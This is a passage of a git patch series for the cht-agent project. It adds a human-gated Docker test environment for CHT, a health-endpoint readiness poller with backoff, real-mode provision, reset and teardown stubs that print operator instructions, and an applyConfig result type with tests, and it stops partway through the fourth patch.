From a00bb64cc6e1eb03632822dc4a009d7dfb06b0cb Mon Sep 17 00:00:00 2001
From: Hareet <hareet.sandhu@gmail.com>
Date: Wed, 10 Jun 2026 06:13:59 -0600
Subject: [PATCH 01/24] =?UTF-8?q?feat(#66):=20phase-1=20lifecycle=20?=
 =?UTF-8?q?=E2=80=94=20readiness=20poller,=20env=20override/scripts,=20pro?=
 =?UTF-8?q?vision=20real=20path=20(h-gated)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 docker/cht-agent-net.override.yml          | 29 ++++++++++
 scripts/test-env-down.sh                   | 13 +++++
 scripts/test-env-up.sh                     | 27 ++++++++++
 src/agents/test-environment-agent.ts       | 35 ++++++++++---
 src/types/index.ts                         | 18 +++++++
 src/utils/cht-readiness.ts                 | 48 +++++++++++++++++
 test/agents/test-environment-agent.spec.ts | 57 +++++++++++++++++---
 test/utils/cht-readiness.spec.ts           | 61 ++++++++++++++++++++++
 8 files changed, 273 insertions(+), 15 deletions(-)
 create mode 100644 docker/cht-agent-net.override.yml
 create mode 100755 scripts/test-env-down.sh
 create mode 100755 scripts/test-env-up.sh
 create mode 100644 src/utils/cht-readiness.ts
 create mode 100644 test/utils/cht-readiness.spec.ts

diff --git a/docker/cht-agent-net.override.yml b/docker/cht-agent-net.override.yml
new file mode 100644
index 00000000..1e6c9dc3
--- /dev/null
+++ b/docker/cht-agent-net.override.yml
@@ -0,0 +1,29 @@
+# cht-agent-net.override.yml
+#
+# Layers onto cht-core's local-build compose (or the docker-helper stack) so the
+# running CHT instance joins the shared `cht-agent-net` network that the
+# dockerized cht-agent is also attached to. This lets the agent reach the
+# instance at https://nginx with no host-port juggling and — importantly — with
+# NO Docker access (the agent only polls /api/v2/monitoring).
+#
+# HUMAN-run only (the cht-agent never runs Docker):
+#   docker compose -f cht-couchdb.yml -f cht-core.yml -f cht-agent-net.override.yml up -d
+#
+# ⚠️ VALIDATE before relying on this: the service name (`nginx`) and the stack's
+# internal network name (`cht-net` below) must match what `npm run local-images`
+# generates in `local-build/` for your cht-core version. Confirm with:
+#   docker compose ... config            # see resolved service/network names
+#   docker network inspect cht-agent-net # confirm nginx is attached
+# If the internal network differs, update the first entry under nginx.networks.
+
+networks:
+  cht-agent-net:
+    external: true
+
+services:
+  # nginx is the HTTPS entry point the agent reaches. Keep it on the stack's
+  # internal network AND join the shared cht-agent-net.
+  nginx:
+    networks:
+      - cht-net
+      - cht-agent-net
diff --git a/scripts/test-env-down.sh b/scripts/test-env-down.sh
new file mode 100755
index 00000000..12293d37
--- /dev/null
+++ b/scripts/test-env-down.sh
@@ -0,0 +1,13 @@
+#!/usr/bin/env bash
+#
+# Human-run teardown for the Test Environment Layer.
+# Usage: scripts/test-env-down.sh <cht-core-path>
+set -euo pipefail
+
+CHT_CORE_PATH="${1:?Usage: test-env-down.sh <cht-core-path>}"
+OVERRIDE="$(cd "$(dirname "$0")/.." && pwd)/docker/cht-agent-net.override.yml"
+
+cd "$CHT_CORE_PATH/local-build"
+docker compose -f cht-couchdb.yml -f cht-core.yml -f "$OVERRIDE" down -v
+
+echo "CHT environment torn down (-v removed volumes for a clean slate)."
diff --git a/scripts/test-env-up.sh b/scripts/test-env-up.sh
new file mode 100755
index 00000000..9bc234dd
--- /dev/null
+++ b/scripts/test-env-up.sh
@@ -0,0 +1,27 @@
+#!/usr/bin/env bash
+#
+# Human-run bring-up for the Test Environment Layer (Model A — rebuild on change).
+# The cht-agent NEVER runs this or any Docker command itself; the agent's
+# provision() only polls /api/v2/monitoring and waits for this to finish.
+#
+# Usage: scripts/test-env-up.sh <cht-core-path>
+#
+# Env overrides: CHT_AGENT_NET (default cht-agent-net), COUCHDB_PASSWORD (default password)
+set -euo pipefail
+
+CHT_CORE_PATH="${1:?Usage: test-env-up.sh <cht-core-path>}"
+NETWORK="${CHT_AGENT_NET:-cht-agent-net}"
+OVERRIDE="$(cd "$(dirname "$0")/.." && pwd)/docker/cht-agent-net.override.yml"
+
+# 1. Shared network the cht-agent and CHT both join (idempotent).
+docker network create "$NETWORK" 2>/dev/null || true
+
+# 2. Build images from local code.
+( cd "$CHT_CORE_PATH" && npm run local-images )
+
+# 3. Start the stack, joined to the shared network via the override.
+cd "$CHT_CORE_PATH/local-build"
+COUCHDB_PASSWORD="${COUCHDB_PASSWORD:-password}" docker compose \
+  -f cht-couchdb.yml -f cht-core.yml -f "$OVERRIDE" up -d
+
+echo "CHT starting on network '$NETWORK'. The agent will poll /api/v2/monitoring until healthy."
diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index bbf0c5dd..2d14d676 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -18,9 +18,18 @@ import {
   TestDataResult,
 } from '../types';
 import { MOCK_TEST_ENV_DATA } from './test-environment-agent.mock-data';
+import { waitForReady } from '../utils/cht-readiness';
 
 const NOT_IMPLEMENTED = 'Docker orchestration not yet implemented';
 
+// Real-path defaults: the human brings CHT up on cht-agent-net; the agent
+// reaches it at the nginx service hostname with the cht-docker-compose.sh creds.
+const DEFAULT_ENV_URL = 'https://nginx';
+const DEFAULT_NETWORK = 'cht-agent-net';
+const DEFAULT_AUTH = { user: 'medic', password: 'password' };
+// Humans may take minutes to run local-images + compose up.
+const DEFAULT_PROVISION_WAIT_MS = 300_000;
+
 export class TestEnvironmentAgent {
   private readonly useMockDocker: boolean;
 
@@ -37,21 +46,33 @@ export class TestEnvironmentAgent {
       throw new Error('provision requires either chtCorePath or version');
     }
 
-    if (!this.useMockDocker) {
-      throw new Error(NOT_IMPLEMENTED);
-    }
-
     const source = options.chtCorePath
       ? `local code (${options.chtCorePath})`
       : `published version ${options.version}`;
+    const network = options.network ?? DEFAULT_NETWORK;
 
     console.log('\n[Test Environment Agent] Provisioning environment...');
     console.log(`[Test Environment Agent] Source: ${source}`);
 
+    if (!this.useMockDocker) {
+      const url = options.url ?? DEFAULT_ENV_URL;
+      const auth = options.auth ?? DEFAULT_AUTH;
+
+      // The agent runs no Docker — the human brings the environment up.
+      console.log('[Test Environment Agent] HUMAN GATE — bring the env up (the agent runs no Docker):');
+      console.log(`    scripts/test-env-up.sh ${options.chtCorePath ?? '<cht-core>'}   # build + start on ${network}`);
+      console.log(`[Test Environment Agent] Polling ${url}/api/v2/monitoring until healthy...`);
+
+      await waitForReady(url, { maxWaitMs: DEFAULT_PROVISION_WAIT_MS, ...options.readiness });
+
+      console.log(`[Test Environment Agent] Ready at ${url} (network: ${network})`);
+      return { url, auth: { ...auth }, network, chtCorePath: options.chtCorePath, source: 'docker' };
+    }
+
     const handle: EnvironmentHandle = {
-      url: MOCK_TEST_ENV_DATA.url,
-      auth: { ...MOCK_TEST_ENV_DATA.auth },
-      network: options.network ?? MOCK_TEST_ENV_DATA.network,
+      url: options.url ?? MOCK_TEST_ENV_DATA.url,
+      auth: { ...(options.auth ?? MOCK_TEST_ENV_DATA.auth) },
+      network,
       chtCorePath: options.chtCorePath,
       source: 'mock',
     };
diff --git a/src/types/index.ts b/src/types/index.ts
index 48e903d2..382d4726 100644
--- a/src/types/index.ts
+++ b/src/types/index.ts
@@ -774,6 +774,18 @@ export interface DiscoveredConfig {
   forms: string[];
 }
 
+/**
+ * Tuning for readiness polling (see src/utils/cht-readiness.ts)
+ */
+export interface ReadinessOptions {
+  /** Maximum total time to wait before giving up (ms). */
+  maxWaitMs?: number;
+  /** Initial delay between polls (ms). */
+  initialDelayMs?: number;
+  /** Upper bound on the exponential backoff delay (ms). */
+  maxDelayMs?: number;
+}
+
 /**
  * Inputs to provision an environment (need a local code path OR a published version)
  */
@@ -781,6 +793,12 @@ export interface ProvisionOptions {
   chtCorePath?: string;
   version?: string;
   network?: string;
+  /** Target URL of the running instance (default: https://nginx on cht-agent-net). */
+  url?: string;
+  /** Credentials for the instance (default: medic/password — cht-docker-compose.sh defaults). */
+  auth?: { user: string; password: string };
+  /** Readiness polling tuning (the human may take minutes to bring the env up). */
+  readiness?: ReadinessOptions;
 }
 
 /**
diff --git a/src/utils/cht-readiness.ts b/src/utils/cht-readiness.ts
new file mode 100644
index 00000000..21e11f46
--- /dev/null
+++ b/src/utils/cht-readiness.ts
@@ -0,0 +1,48 @@
+/**
+ * CHT readiness polling for the Test Environment Layer.
+ *
+ * The agent never runs Docker — the human brings the environment up. This util
+ * polls the CHT monitoring endpoint until the instance reports healthy, or
+ * rejects after a timeout with a clear "is the environment up?" message.
+ *
+ * See: designs/layer_recommendations/test-environment-layer.md
+ */
+
+import { ReadinessOptions } from '../types';
+
+const MONITORING_PATH = '/api/v2/monitoring';
+
+const sleep = (ms: number): Promise<void> => new Promise(resolve => setTimeout(resolve, ms));
+
+/**
+ * Poll `${url}/api/v2/monitoring` until it responds OK, using exponential
+ * backoff. Resolves once healthy; rejects if it never becomes ready in time.
+ */
+export const waitForReady = async (url: string, options: ReadinessOptions = {}): Promise<void> => {
+  const maxWaitMs = options.maxWaitMs ?? 120_000;
+  const maxDelayMs = options.maxDelayMs ?? 15_000;
+  let delay = options.initialDelayMs ?? 2_000;
+
+  const start = Date.now();
+  let lastError = 'no response';
+
+  while (Date.now() - start < maxWaitMs) {
+    try {
+      const response = await fetch(`${url}${MONITORING_PATH}`);
+      if (response.ok) {
+        return;
+      }
+      lastError = `HTTP ${response.status}`;
+    } catch (error) {
+      lastError = error instanceof Error ? error.message : 'unreachable';
+    }
+
+    await sleep(delay);
+    delay = Math.min(delay * 1.5, maxDelayMs);
+  }
+
+  throw new Error(
+    `CHT did not become ready at ${url} within ${maxWaitMs}ms (last: ${lastError}). ` +
+      'Is the environment up? Bring it up (human-gated) and retry.'
+  );
+};
diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index 03d25bed..9b0cd6f8 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -1,4 +1,5 @@
 import { expect } from 'chai';
+import * as sinon from 'sinon';
 import { TestEnvironmentAgent } from '../../src/agents/test-environment-agent';
 import { DiscoveredConfig, EnvironmentHandle, ProvisionOptions, ResetTier } from '../../src/types';
 
@@ -71,15 +72,55 @@ describe('TestEnvironmentAgent', () => {
       }
     });
 
-    it('should throw not-implemented in real mode', async () => {
-      const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+    describe('real mode (useMockDocker: false)', () => {
+      let fetchStub: sinon.SinonStub;
 
-      try {
-        await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
-        expect.fail('Should have thrown an error');
-      } catch (error) {
-        expect((error as Error).message).to.include('not yet implemented');
-      }
+      beforeEach(() => {
+        fetchStub = sinon.stub(globalThis, 'fetch' as any);
+      });
+
+      afterEach(() => {
+        sinon.restore();
+      });
+
+      it('returns a docker handle once the environment is healthy', async () => {
+        fetchStub.resolves({ ok: true, status: 200 });
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+
+        expect(handle.source).to.equal('docker');
+        expect(handle.url).to.equal('https://nginx');
+        expect(handle.auth).to.deep.equal({ user: 'medic', password: 'password' });
+        expect(handle.network).to.equal('cht-agent-net');
+        expect(handle.chtCorePath).to.equal('/workspace/cht-core');
+      });
+
+      it('rejects if the environment never becomes ready', async () => {
+        fetchStub.resolves({ ok: false, status: 503 });
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        try {
+          await realAgent.provision({
+            chtCorePath: '/workspace/cht-core',
+            readiness: { maxWaitMs: 30, initialDelayMs: 0, maxDelayMs: 0 },
+          });
+          expect.fail('expected provision to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('did not become ready');
+        }
+      });
+
+      it('validates input before polling', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        try {
+          await realAgent.provision({});
+          expect.fail('expected provision to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('requires either chtCorePath or version');
+        }
+      });
     });
   });
 
diff --git a/test/utils/cht-readiness.spec.ts b/test/utils/cht-readiness.spec.ts
new file mode 100644
index 00000000..bc9e3e86
--- /dev/null
+++ b/test/utils/cht-readiness.spec.ts
@@ -0,0 +1,61 @@
+import { expect } from 'chai';
+import * as sinon from 'sinon';
+import { waitForReady } from '../../src/utils/cht-readiness';
+
+describe('cht-readiness', () => {
+  let fetchStub: sinon.SinonStub;
+
+  beforeEach(() => {
+    // `fetch` is a Node global; stub it the same way the MCP client spec does.
+    fetchStub = sinon.stub(globalThis, 'fetch' as any);
+  });
+
+  afterEach(() => {
+    sinon.restore();
+  });
+
+  // Zero delays keep the backoff loop fast in tests.
+  const fast = { initialDelayMs: 0, maxDelayMs: 0 };
+
+  describe('waitForReady', () => {
+    it('resolves once monitoring responds OK', async () => {
+      fetchStub.resolves({ ok: true, status: 200 });
+
+      await waitForReady('https://nginx', fast);
+
+      expect(fetchStub.calledOnce).to.equal(true);
+      expect(fetchStub.firstCall.args[0]).to.equal('https://nginx/api/v2/monitoring');
+    });
+
+    it('retries until healthy (503, 503, then 200)', async () => {
+      fetchStub.onCall(0).resolves({ ok: false, status: 503 });
+      fetchStub.onCall(1).resolves({ ok: false, status: 503 });
+      fetchStub.onCall(2).resolves({ ok: true, status: 200 });
+
+      await waitForReady('https://nginx', fast);
+
+      expect(fetchStub.callCount).to.equal(3);
+    });
+
+    it('retries when fetch rejects (connection refused), then succeeds', async () => {
+      fetchStub.onCall(0).rejects(new Error('ECONNREFUSED'));
+      fetchStub.onCall(1).resolves({ ok: true, status: 200 });
+
+      await waitForReady('https://nginx', fast);
+
+      expect(fetchStub.callCount).to.equal(2);
+    });
+
+    it('rejects with a clear message if never ready before timeout', async () => {
+      fetchStub.resolves({ ok: false, status: 503 });
+
+      try {
+        await waitForReady('https://nginx', { initialDelayMs: 0, maxDelayMs: 0, maxWaitMs: 30 });
+        expect.fail('expected waitForReady to reject');
+      } catch (error) {
+        expect((error as Error).message).to.include('did not become ready');
+        expect((error as Error).message).to.include('https://nginx');
+      }
+    });
+  });
+});

From 7bbc0784b4598d891cb8450b6588a7ff72ea2f23 Mon Sep 17 00:00:00 2001
From: Hareet <hareet.sandhu@gmail.com>
Date: Wed, 10 Jun 2026 06:54:04 -0600
Subject: [PATCH 02/24] =?UTF-8?q?refactor(#66):=20address=20review=20?=
 =?UTF-8?q?=E2=80=94=20fetch=20timeout,=20bounded=20readiness=20wait,=20do?=
 =?UTF-8?q?c=20+=20test=20polish?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 src/agents/test-environment-agent.ts | 18 +++++++++++++-----
 src/types/index.ts                   |  2 ++
 src/utils/cht-readiness.ts           | 12 ++++++++++--
 test/utils/cht-readiness.spec.ts     |  6 ++++--
 4 files changed, 29 insertions(+), 9 deletions(-)

diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index 2d14d676..900b63a0 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -4,8 +4,9 @@
  * Deterministic provisioning orchestrator for the Test Environment Layer
  * (QA Supervisor). It provisions a live CHT instance, applies a config,
  * discovers the deployed config, and seeds conforming test data. No LLM is
- * involved. This file implements mock mode only; the real Docker / cht-conf /
- * CouchDB orchestration lands in #66.
+ * involved. provision()'s real path (human-gated bring-up + readiness polling)
+ * is implemented; applyConfig/discoverConfig/prepareTestData/reset/teardown
+ * real paths are not yet implemented (later #66 phases).
  *
  * See: designs/layer_recommendations/test-environment-layer.md
  */
@@ -59,14 +60,21 @@ export class TestEnvironmentAgent {
       const auth = options.auth ?? DEFAULT_AUTH;
 
       // The agent runs no Docker — the human brings the environment up.
-      console.log('[Test Environment Agent] HUMAN GATE — bring the env up (the agent runs no Docker):');
-      console.log(`    scripts/test-env-up.sh ${options.chtCorePath ?? '<cht-core>'}   # build + start on ${network}`);
+      const target = options.chtCorePath ?? '<cht-core>';
+      console.log('[Test Environment Agent] HUMAN GATE — bring the env up (agent runs no Docker):');
+      console.log(`    scripts/test-env-up.sh ${target}   # build + start on ${network}`);
       console.log(`[Test Environment Agent] Polling ${url}/api/v2/monitoring until healthy...`);
 
       await waitForReady(url, { maxWaitMs: DEFAULT_PROVISION_WAIT_MS, ...options.readiness });
 
       console.log(`[Test Environment Agent] Ready at ${url} (network: ${network})`);
-      return { url, auth: { ...auth }, network, chtCorePath: options.chtCorePath, source: 'docker' };
+      return {
+        url,
+        auth: { ...auth },
+        network,
+        chtCorePath: options.chtCorePath,
+        source: 'docker',
+      };
     }
 
     const handle: EnvironmentHandle = {
diff --git a/src/types/index.ts b/src/types/index.ts
index 382d4726..2262bf27 100644
--- a/src/types/index.ts
+++ b/src/types/index.ts
@@ -784,6 +784,8 @@ export interface ReadinessOptions {
   initialDelayMs?: number;
   /** Upper bound on the exponential backoff delay (ms). */
   maxDelayMs?: number;
+  /** Per-request timeout so a hung connection can't block past maxWaitMs (ms). */
+  requestTimeoutMs?: number;
 }
 
 /**
diff --git a/src/utils/cht-readiness.ts b/src/utils/cht-readiness.ts
index 21e11f46..75889d09 100644
--- a/src/utils/cht-readiness.ts
+++ b/src/utils/cht-readiness.ts
@@ -21,6 +21,7 @@ const sleep = (ms: number): Promise<void> => new Promise(resolve => setTimeout(r
 export const waitForReady = async (url: string, options: ReadinessOptions = {}): Promise<void> => {
   const maxWaitMs = options.maxWaitMs ?? 120_000;
   const maxDelayMs = options.maxDelayMs ?? 15_000;
+  const requestTimeoutMs = options.requestTimeoutMs ?? 10_000;
   let delay = options.initialDelayMs ?? 2_000;
 
   const start = Date.now();
@@ -28,7 +29,10 @@ export const waitForReady = async (url: string, options: ReadinessOptions = {}):
 
   while (Date.now() - start < maxWaitMs) {
     try {
-      const response = await fetch(`${url}${MONITORING_PATH}`);
+      // Bound each request so a hung connection can't block past maxWaitMs.
+      const response = await fetch(`${url}${MONITORING_PATH}`, {
+        signal: AbortSignal.timeout(requestTimeoutMs),
+      });
       if (response.ok) {
         return;
       }
@@ -37,7 +41,11 @@ export const waitForReady = async (url: string, options: ReadinessOptions = {}):
       lastError = error instanceof Error ? error.message : 'unreachable';
     }
 
-    await sleep(delay);
+    const remaining = maxWaitMs - (Date.now() - start);
+    if (remaining <= 0) {
+      break;
+    }
+    await sleep(Math.min(delay, remaining));
     delay = Math.min(delay * 1.5, maxDelayMs);
   }
 
diff --git a/test/utils/cht-readiness.spec.ts b/test/utils/cht-readiness.spec.ts
index bc9e3e86..ecd88120 100644
--- a/test/utils/cht-readiness.spec.ts
+++ b/test/utils/cht-readiness.spec.ts
@@ -32,8 +32,9 @@ describe('cht-readiness', () => {
       fetchStub.onCall(1).resolves({ ok: false, status: 503 });
       fetchStub.onCall(2).resolves({ ok: true, status: 200 });
 
-      await waitForReady('https://nginx', fast);
+      const result = await waitForReady('https://nginx', fast);
 
+      expect(result).to.equal(undefined);
       expect(fetchStub.callCount).to.equal(3);
     });
 
@@ -41,8 +42,9 @@ describe('cht-readiness', () => {
       fetchStub.onCall(0).rejects(new Error('ECONNREFUSED'));
       fetchStub.onCall(1).resolves({ ok: true, status: 200 });
 
-      await waitForReady('https://nginx', fast);
+      const result = await waitForReady('https://nginx', fast);
 
+      expect(result).to.equal(undefined);
       expect(fetchStub.callCount).to.equal(2);
     });
 

From 1e877fe87af09f1b222308899e1bcb99e2385bb7 Mon Sep 17 00:00:00 2001
From: Hareet <hareet.sandhu@gmail.com>
Date: Mon, 15 Jun 2026 04:17:24 -0600
Subject: [PATCH 03/24] chore: save point in test environment setup

---
 src/agents/test-environment-agent.ts       | 23 ++++++++++++--
 test/agents/test-environment-agent.spec.ts | 37 +++++++++++++---------
 2 files changed, 43 insertions(+), 17 deletions(-)

diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index 900b63a0..fa86b6af 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -150,7 +150,22 @@ export class TestEnvironmentAgent {
    */
   async reset(handle: EnvironmentHandle, tier: ResetTier): Promise<void> {
     if (!this.useMockDocker) {
-      throw new Error(NOT_IMPLEMENTED);
+      // couchdb-tier wipe/reseed operates on the docs prepareTestData seeds,
+      // so it lands with test-data prep in a later phase.
+      if (tier === 'couchdb') {
+        throw new Error('couchdb-tier reset requires seeded-data tracking (lands in #66 Phase 3)');
+      }
+
+      // restart/full are Docker operations — human-gated, the agent runs none.
+      const target = handle.chtCorePath ?? '<cht-core>';
+      console.log(`[Test Environment Agent] HUMAN GATE — reset (${tier}); the agent runs no Docker:`);
+      if (tier === 'restart') {
+        console.log(`    (in ${target}/local-build) docker compose restart`);
+      } else {
+        console.log(`    scripts/test-env-down.sh ${target} && scripts/test-env-up.sh ${target}`);
+      }
+      console.log('[Test Environment Agent] Re-confirm health with provision()/waitForReady after.');
+      return;
     }
 
     console.log(`[Test Environment Agent] Reset (${tier}) -> ${handle.url}`);
@@ -162,7 +177,11 @@ export class TestEnvironmentAgent {
    */
   async teardown(handle: EnvironmentHandle): Promise<void> {
     if (!this.useMockDocker) {
-      throw new Error(NOT_IMPLEMENTED);
+      // Teardown is `docker compose down -v` — human-gated, the agent runs none.
+      const target = handle.chtCorePath ?? '<cht-core>';
+      console.log('[Test Environment Agent] HUMAN GATE — teardown (the agent runs no Docker):');
+      console.log(`    scripts/test-env-down.sh ${target}   # docker compose down -v`);
+      return;
     }
 
     console.log(`[Test Environment Agent] Teardown -> ${handle.url}`);
diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index 9b0cd6f8..0037cab0 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -272,21 +272,32 @@ describe('TestEnvironmentAgent', () => {
       });
     });
 
-    it('should throw not-implemented in real mode', async () => {
+    describe('real mode (useMockDocker: false)', () => {
       const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
-      const handle: EnvironmentHandle = {
+      const dockerHandle: EnvironmentHandle = {
         url: 'https://nginx',
         auth: { user: 'medic', password: 'password' },
         network: 'cht-agent-net',
+        chtCorePath: '/workspace/cht-core',
         source: 'docker',
       };
 
-      try {
-        await realAgent.reset(handle, 'full');
-        expect.fail('Should have thrown an error');
-      } catch (error) {
-        expect((error as Error).message).to.include('not yet implemented');
-      }
+      it('resolves the restart tier (human-gated, agent runs no Docker)', async () => {
+        expect(await realAgent.reset(dockerHandle, 'restart')).to.equal(undefined);
+      });
+
+      it('resolves the full tier (human-gated, agent runs no Docker)', async () => {
+        expect(await realAgent.reset(dockerHandle, 'full')).to.equal(undefined);
+      });
+
+      it('defers the couchdb tier to a later phase', async () => {
+        try {
+          await realAgent.reset(dockerHandle, 'couchdb');
+          expect.fail('expected reset to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('Phase 3');
+        }
+      });
     });
   });
 
@@ -297,21 +308,17 @@ describe('TestEnvironmentAgent', () => {
       expect(await agent.teardown(handle)).to.equal(undefined);
     });
 
-    it('should throw not-implemented in real mode', async () => {
+    it('resolves in real mode (prints the human teardown gate)', async () => {
       const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
       const handle: EnvironmentHandle = {
         url: 'https://nginx',
         auth: { user: 'medic', password: 'password' },
         network: 'cht-agent-net',
+        chtCorePath: '/workspace/cht-core',
         source: 'docker',
       };
 
-      try {
-        await realAgent.teardown(handle);
-        expect.fail('Should have thrown an error');
-      } catch (error) {
-        expect((error as Error).message).to.include('not yet implemented');
-      }
+      expect(await realAgent.teardown(handle)).to.equal(undefined);
     });
   });
 });

From da80b9858f44b9b0093dd0bd6d2d80bb2e0e1908 Mon Sep 17 00:00:00 2001
From: Hareet <hareet.sandhu@gmail.com>
Date: Sat, 27 Jun 2026 19:27:24 -0600
Subject: [PATCH 04/24] feat(#66): shape applyConfig for the cht-conf validate
 loop (action selector + result)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Bake the Phase-2 API shape into applyConfig so #134 PR5's cht-conf
diagnose→fix→validate loop plugs in without reshaping the type later.
Real Docker path still throws NOT_IMPLEMENTED (Phase 2); only the type
shape and mock change here.

- ConfigUploadAction buckets (app-settings/app-forms/contact-forms/
  resources) map to their cht-conf verbs; `actions` narrows which run so
  the loop re-uploads only the artifact it changed.
- `artifact` targets a single form (cht-conf --forms=<name>).
- ConfigActionStatus uploaded|skipped|failed — skipped is cht-conf's
  hash-check no-op, which a boolean couldn't express and verify needs.
- applyConfig returns ConfigApplyResult (was void); accepts a bare
  configPath string for back-compat.

573 tests pass, build + lint clean (Node 22).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---
 .../test-environment-agent.mock-data.ts       | 24 ++++-
 src/agents/test-environment-agent.ts          | 52 +++++++++--
 src/types/index.ts                            | 65 ++++++++++++++
 test/agents/test-environment-agent.spec.ts    | 90 ++++++++++++++++++-
 4 files changed, 220 insertions(+), 11 deletions(-)

diff --git a/src/agents/test-environment-agent.mock-data.ts b/src/agents/test-environment-agent.mock-data.ts
index 0481e3be..b0045ce8 100644
--- a/src/agents/test-environment-agent.mock-data.ts
+++ b/src/agents/test-environment-agent.mock-data.ts
@@ -1,4 +1,4 @@
-import { DiscoveredConfig, TestDataResult } from '../types';
+import { ConfigActionResult, ConfigUploadAction, DiscoveredConfig, TestDataResult } from '../types';
 
 /**
  * Raw deterministic fixtures for the Test Environment Agent's mock mode.
@@ -15,6 +15,28 @@ export type MockTestEnvData = {
   testData: TestDataResult;
 };
 
+/**
+ * The cht-conf verbs each upload bucket runs (real-path Phase 2 shells out to
+ * these; mock mode reports them as the would-run commands). Single source for
+ * both the fixture and the real implementation.
+ */
+export const CONFIG_ACTION_COMMANDS: Record<ConfigUploadAction, string[]> = {
+  'app-settings': ['compile-app-settings', 'upload-app-settings'],
+  'app-forms': ['convert-app-forms', 'upload-app-forms'],
+  'contact-forms': ['convert-contact-forms', 'upload-contact-forms'],
+  resources: ['upload-resources', 'upload-branding', 'upload-custom-translations'],
+};
+
+/**
+ * Build a successful (uploaded), warning-free mock result for a single bucket.
+ */
+export const mockConfigActionResult = (action: ConfigUploadAction): ConfigActionResult => ({
+  action,
+  status: 'uploaded',
+  commands: [...CONFIG_ACTION_COMMANDS[action]],
+  warnings: [],
+});
+
 export const MOCK_TEST_ENV_DATA: MockTestEnvData = {
   url: 'https://nginx',
   // matches the defaults set by cht-core's scripts/docker-helper/cht-docker-compose.sh
diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index fa86b6af..78effe83 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -12,13 +12,16 @@
  */
 
 import {
+  ApplyConfigOptions,
+  ConfigApplyResult,
+  ConfigUploadAction,
   DiscoveredConfig,
   EnvironmentHandle,
   ProvisionOptions,
   ResetTier,
   TestDataResult,
 } from '../types';
-import { MOCK_TEST_ENV_DATA } from './test-environment-agent.mock-data';
+import { MOCK_TEST_ENV_DATA, mockConfigActionResult } from './test-environment-agent.mock-data';
 import { waitForReady } from '../utils/cht-readiness';
 
 const NOT_IMPLEMENTED = 'Docker orchestration not yet implemented';
@@ -31,6 +34,15 @@ const DEFAULT_AUTH = { user: 'medic', password: 'password' };
 // Humans may take minutes to run local-images + compose up.
 const DEFAULT_PROVISION_WAIT_MS = 300_000;
 
+// Default config project (cht-core in-repo) and the full cht-conf upload set.
+const DEFAULT_CONFIG_PATH = 'config/default';
+const DEFAULT_CONFIG_ACTIONS: ConfigUploadAction[] = [
+  'app-settings',
+  'app-forms',
+  'contact-forms',
+  'resources',
+];
+
 export class TestEnvironmentAgent {
   private readonly useMockDocker: boolean;
 
@@ -90,16 +102,44 @@ export class TestEnvironmentAgent {
   }
 
   /**
-   * Apply (compile + upload) a config project from the working copy to the
-   * instance. Defaults to cht-core's in-repo `config/default` project.
+   * Apply (compile + upload) a config project to the instance via cht-conf.
+   * Defaults to cht-core's in-repo `config/default`; cht-conf tickets pass the
+   * mounted deployment config (CHT_CONF_PATH). `actions` selects which cht-conf
+   * upload buckets run — settings, app forms, contact forms, resources — so the
+   * cht-conf validate loop can re-upload only the artifact it changed.
+   *
+   * Accepts a bare path string (back-compat) or an options object. Returns a
+   * ConfigApplyResult the verify step / QA Supervisor asserts on.
    */
-  async applyConfig(handle: EnvironmentHandle, configPath = 'config/default'): Promise<void> {
+  async applyConfig(
+    handle: EnvironmentHandle,
+    options: string | ApplyConfigOptions = {}
+  ): Promise<ConfigApplyResult> {
+    const opts: ApplyConfigOptions = typeof options === 'string' ? { configPath: options } : options;
+    const configPath = opts.configPath ?? DEFAULT_CONFIG_PATH;
+    const actions = opts.actions ?? DEFAULT_CONFIG_ACTIONS;
+    const artifact = opts.artifact;
+
     if (!this.useMockDocker) {
+      // Real path (#66 Phase 2): shell cht-conf over HTTP for each bucket
+      // (compile/convert + upload, optionally `--forms=<artifact>`), aggregate
+      // per-action status (uploaded/skipped/failed), never push.
       throw new Error(NOT_IMPLEMENTED);
     }
 
-    console.log(`[Test Environment Agent] Applying config: ${configPath} -> ${handle.url}`);
-    console.log('[Test Environment Agent] (mock) config applied');
+    const scope = artifact ? `${actions.join(', ')}; artifact=${artifact}` : actions.join(', ');
+    console.log(
+      `[Test Environment Agent] Applying config: ${configPath} (${scope}) -> ${handle.url}`
+    );
+    const results = actions.map((action) => mockConfigActionResult(action));
+    console.log(`[Test Environment Agent] (mock) config applied — ${results.length} action(s)`);
+    return {
+      configPath,
+      ...(artifact ? { artifact } : {}),
+      actions: results,
+      succeeded: results.every((result) => result.status !== 'failed'),
